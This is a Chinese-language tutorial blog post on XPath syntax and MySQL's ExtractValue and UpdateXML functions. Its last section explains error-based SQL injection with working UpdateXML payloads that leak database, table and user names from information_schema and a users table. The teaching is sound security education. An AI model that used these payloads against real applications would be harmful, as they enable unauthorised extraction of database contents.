XPath 语法完全指南:从基础语法到 SQL 注入中的应用
爬虫、处理过配置文件、或者接触过 MySQL 的 XML 函数的一定都见过 XPath 这个名词。它是一种专门用来在 XML 文档中“寻址”的语言语法像文件路径一样直观。同时XPath 是 Web 安全领域中 SQL 报错盲注中的关键角色。一、XPath 是什么XPath 的全称是 XML Path Language它提供了一种在 XML 文档中查找节点元素、属性、文本的方法可以把它理解为“XML 版的文件路径”。例如Windows 路径C:\Users\Admin\Desktop表示层层目录而 XPath 路径/bookstore/book/title则表示根节点下的bookstore节点下的book节点下的title节点。XPath 不仅能定位节点还能通过条件筛选、使用函数进行更复杂的查询。二、XPath 基础语法1. 路径表达式XPath 通过路径来选取节点最常用的表达式如下表达式含义/从根节点开始绝对路径//从任意位置选取节点不考虑层级.当前节点..父节点选取属性例子假设我们有这样一个 XML 文档保存为books.xmlbookstore book id1 titleSQL注入攻防/title author李四/author price69.00/price /book book id2 titleMySQL高级教程/title author王五/author price89.00/price /book /bookstore/bookstore/book#选取所有book元素位于根节点下//title#选取文档中所有的title元素/bookstore/book[1]/id#选取第一本书的id属性值//author/..#选取所有author的父节点即book节点2. [ ]条件筛选谓语用方括号[]包裹相当于 SQL 中的WHERE子句用来过滤节点。示例含义[1]第一个注意索引从 1 开始[last()]最后一个[position()3]前两个[price70]价格大于 70 的书[id1]id 属性等于 1 的书例子/bookstore/book[1]/title#第一本书的书名/bookstore/book[price80]#价格高于 80 的书//book[id2]/author#id 为 2 的书的作者3. 通配符与多路径符号含义*匹配任意元素节点*匹配任意属性节点node()匹配任意类型的节点|合并多个路径取并集例子/bookstore/*#bookstore下的所有直接子元素//title | //author#所有书名和作者/bookstore/book[*]#所有带任意属性的book元素三、XPath 常用函数XPath 内置了很多函数在实际应用中能更灵活地处理数据。函数作用text()获取当前节点的文本内容contains(str1, str2)判断 str1 是否包含 str2starts-with(str1, str2)判断是否以 str2 开头string-length(str)返回字符串长度substring(str, start, len)截取子串last()返回当前节点集合中最后一个的位置position()返回当前节点在兄弟节点中的序号例子//book[contains(title, 注入)]#书名中包含“注入”的书//book[starts-with(title, MySQL)]#书名以“MySQL”开头的书//book[price 70]/title/text()#价格高于 70 的书的书名文本4. 轴轴用于定义节点与当前节点的关系方便做复杂的遍历。轴名称含义child::子节点默认parent::父节点ancestor::祖先节点descendant::后代节点following-sibling::后续兄弟节点preceding-sibling::前面兄弟节点attribute::属性节点简写例子//title/parent::book#所有title的父节点book//book[1]/following-sibling::book#第一本书后面的所有兄弟书//book/attribute::id#等价于//book/id四、在实际开发中如何使用 XPathMySQL 为例MySQL 提供了两个内置函数来操作 XML 数据它们都依赖 XPath。1.ExtractValue()提取 XML 中的值语法ExtractValue(xml_string, xpath)假设我们有一张book_info表其中details字段存储了上面的 XML 内容。-- 提取第一本书的书名 SELECT ExtractValue(details, /bookstore/book[1]/title) FROM book_info; -- 提取所有书的作者多个结果用空格连接 SELECT ExtractValue(details, /bookstore/book/author) FROM book_info; -- 提取 id2 的图书价格 SELECT ExtractValue(details, /bookstore/book[id2]/price) FROM book_info; -- 提取包含“数据库”标签的图书标题假设有 tags 结构这里仅示例 SELECT ExtractValue(details, /bookstore/book[contains(title, 数据库)]/title) FROM book_info;2.UpdateXML()更新 XML 中的节点语法UpdateXML(xml_string, xpath, new_xml_fragment)-- 将第一本书的价格改为 99.00 SELECT UpdateXML(details, /bookstore/book[1]/price, price99.00/price) FROM book_info; -- 注意UpdateXML 只返回修改后的 XML需要配合 UPDATE 才能真正更新数据 UPDATE book_info SET details UpdateXML(details, /bookstore/book[1]/price, price99.00/price) WHERE id 1;五、安全视角XPath 在 SQL 报错盲注中的应用“报错盲注”当页面没有回显查询结果但会输出数据库报错信息时我们可以利用某些函数强行让数据库报错并将想要的数据“夹带”在错误信息中。MySQL 的ExtractValue()和UpdateXML()正是实现报错注入的常用工具。它们的原理是当第二个参数XPath 表达式不合法时MySQL 会报错并显示该参数的内容。1. 常规用法正常情况下我们传入合法的 XPath函数正常工作SELECT ExtractValue(useradmin/user, /user); -- 返回 admin2. 恶意构造比如想要查询的数据比如数据库名拼接到 XPath 中并故意让 XPath 语法错误SELECT UpdateXML(1, concat(0x7e, database(), 0x7e), 1);concat(0x7e, database(), 0x7e)的结果是~test~0x7e是波浪号~~test~不是合法的 XPath 表达式所以 MySQL 报错ERROR 1105 (HY000): XPATH syntax error: ~test~于是数据库名test就这样被泄露了出来。3. 利用真实 XML 字段如果表里确实有一个 XML 字段比如config可以这样写SELECT UpdateXML(config, concat(0x7e, (SELECT database()), 0x7e), 1) FROM user WHERE id 1;MySQL 在执行时发现第二个参数不合法仍然会报错并显示数据库名。4. 提取表名、字段名把查询语句替换成任意想要的数据-- 获取所有数据库名逐个提取 SELECT UpdateXML(1, concat(0x7e, (SELECT schema_name FROM information_schema.schemata LIMIT 0,1), 0x7e), 1); -- 获取当前数据库的表名 SELECT UpdateXML(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schematest LIMIT 0,1), 0x7e), 1); -- 获取敏感数据 SELECT UpdateXML(1, concat(0x7e, (SELECT username FROM users LIMIT 0,1), 0x7e), 1);这样就能一步步通过报错信息获取整个数据库的结构和数据。六、使用场景XPath 是一门简洁而强大的 XML 定位语言它的语法清晰使用灵活。在常规开发中它是解析 XML 数据的重要工具而在安全领域它又成为攻击者利用报错注入的突破口。场景XPath 的角色正常开发精确查找 XML 节点配合ExtractValue、UpdateXML等函数操作数据SQL 注入通过构造非法 XPath 触发数据库报错泄露敏感信息
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2431737.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!